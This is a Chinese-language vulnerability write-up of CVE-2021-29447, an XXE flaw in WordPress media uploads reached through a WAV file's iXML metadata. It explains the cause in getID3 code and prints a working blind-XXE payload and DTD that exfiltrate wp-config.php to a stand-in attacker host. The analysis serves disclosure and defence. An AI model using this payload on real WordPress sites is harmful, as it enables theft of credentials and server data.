CVE-2021-29447:WordPress XXE漏洞详情及利用方式

  • A+
所属分类:安全文章
CVE-2021-29447:WordPress XXE漏洞详情及利用方式点击上方蓝字关注我们


CVE-2021-29447:WordPress XXE漏洞详情及利用方式


概述


研究人员在WordPress中新发现了一个的XXE漏洞(CVE-2021-29447),远程攻击者可以利用该漏洞访问任意内部文件,并实现服务器端请求伪造(SSRF)。该漏洞影响WordPress<5.7.1版本。

本文中,研究人员主要展示了该漏洞的工作方式,以及攻击者如何使用XXE盲注技术对其进行利用。CVE-2021-29447漏洞的概念验证视频如下所示:


XXE:XML外部实体注入


XXE全称XML External Entity,即XML外部实体注入攻击。此类攻击发生在当配置不当的XML解析器处理指向外部实体的文档时,可能会导致敏感文件泄露、拒绝服务攻击、服务器端请求伪造、端口扫描和其他系统影响。例如,在以下代码示例中,如果攻击者将file:///var/www/wp-config.php作为URI,并能够查看解析的XML结果,将导致敏感文件泄漏。

<!DOCTYPE myDoc [ <!ENTITY myExternalEntity SYSTEM "http://…..com/value.txt" > ]><myDoc>    <foo>&myExternalEntity;</foo><myDoc>

WordPress中的XXE漏洞详情


WordPress有一个媒体库,经过身份验证的用户可以上传媒体文件以便后续使用。WordPress使用getID3,以从这些媒体文件中提取元信息,其中一些元数据以XML格式进行解析。在getID3库中,研究人员发现了一个XXE漏洞(第730行)。

wp-includes/ID3/getid3.lib.php
723    if (PHP_VERSION_ID < 80000) {724725        // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is726        // disabled by default, so this function is no longer needed to protect against XXE attacks.728        $loader = libxml_disable_entity_loader(true);729    }730    $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

第730使用的simplexml_load_string()是一个PHP函数,该函数会将传递给它的第一个参数的字符串以XML格式进行解析。可以使用在第三个参数中传递的标志来配置基础XML解析器。

以上示例代码中的注释中提到了针对XXE的保护。然而,真的已经采取了正确的预防措施来避免此漏洞了吗?事实是,并没有。2014年,WordPress 3.9.2中添加了libxml_disable_entity_loader(true)调用,以修复一个XXE漏洞。libxml_disable_entity_loader()是一个PHP函数,该函数将XML解析器配置为禁用外部实体加载。而随着PHP 8的发布码被略作改,以适应libxml_disable_entity_loader()函数的弃用因为PHP版本使用Libxml2 v2 .9+默认情况下会禁用外部实体获取因此只有当运行的PHP版本8时,才需调用该数。

现在,回到以上代码中,可以发现simplexml_load_string()函数调用并不是默认的。即使名称可能不建议使用,LIBXML_NOENT标志也会启用实体替换。在这种情况下,NOENT意味着结果中将不保留任何实体,因此将提取并替换外部实体。如此一来,便可以在运行PHP 8的WordPress上,利用已在WordPress 3.9.2中修复的XXE漏洞。

漏洞利用


要成功利用上述漏洞,首先必须了解用户控制的数据是否以及如何到达以下位置,该位置将数据以XML格式解析,作为$XMLstring变量的一部分:

wp-includes/ID3/getid3.lib.php
721    public static function XML2array($XMLstring) {730        $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT);

当文件上传到媒体库时,WordPress使用getID3简化元数据提取的过程。调查表明,getID3库在分析其元数据时,解析的字符串是wave音频文件的iXML块。


wp-includes/ID3/module.audio-video.riff.php

426    if (isset($thisfile_riff_WAVE['iXML'][0]['data'])) {427        // requires functions simplexml_load_string and get_object_vars428        if ($parsedXML = getid3_lib::XML2array($thisfile_riff_WAVE['iXML'][0]['data'])) {


WordPress确实允许上传wave音频文件,并使用wp_read_audio_metadata()函数提取其元数据。此,可以通过上传特制的wave文件,注入恶意的XML并解析。可以使用以下内容创建一个最小文件,该文件具备wave文件的必要结构,并且在iXML块中包含恶意有效载荷:


RIFFXXXXWAVEBBBBiXML_OUR_PAYLOAD_

(BBBB为4个字节,代表XML有效载荷的长度)


基于盲注的XXE攻击


当攻击者使用以上方法注入有效载荷时,已解析XML的结果不会显示在用户界面中。因此,要提取敏感文件的内容,还须通过基于盲目的XXE攻击,基本步骤如下:


  • 创建第一个外部实体(例如%data),将其值替换为文件内容。

  • 创建另一个外部实体,其URI设置为 “http://attacker_domain.com/%data;” 。注意,URI的值包含将被替换的第一个实体。

  • 当解析第二个实体时,解析器将向“ http://attacker_domain.com/_SUBSTITUTED_data”发出请求,从而使文件的内容在Web服务器的日志中可见。


为了使外部实体的URI依赖于另一个替换实体的值,我们使用了参数实体和外部DTD。此外,我们利用php://流封装器对文件内容进行压缩和编码。终实现wp-config.php敏感文件泄漏的代码如下所示:


payload.wav

RIFFXXXXWAVEBBBBiXML<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://attacker-url.domain/xxe.dtd">%sp;%param1;]><r>&exfil;</r>>
(BBBB为4个字节,代表XML有效载荷的长度)


xxe.dtd

<!ENTITY % data SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=../wp-config.php"><!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker-url.domain/?%data;'>">


CVE-2021-29447:WordPress XXE漏洞详情及利用方式

END



CVE-2021-29447:WordPress XXE漏洞详情及利用方式


好文!必须在看

本文始发于微信公众号(SecTr安全团队):CVE-2021-29447:WordPress XXE漏洞详情及利用方式

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: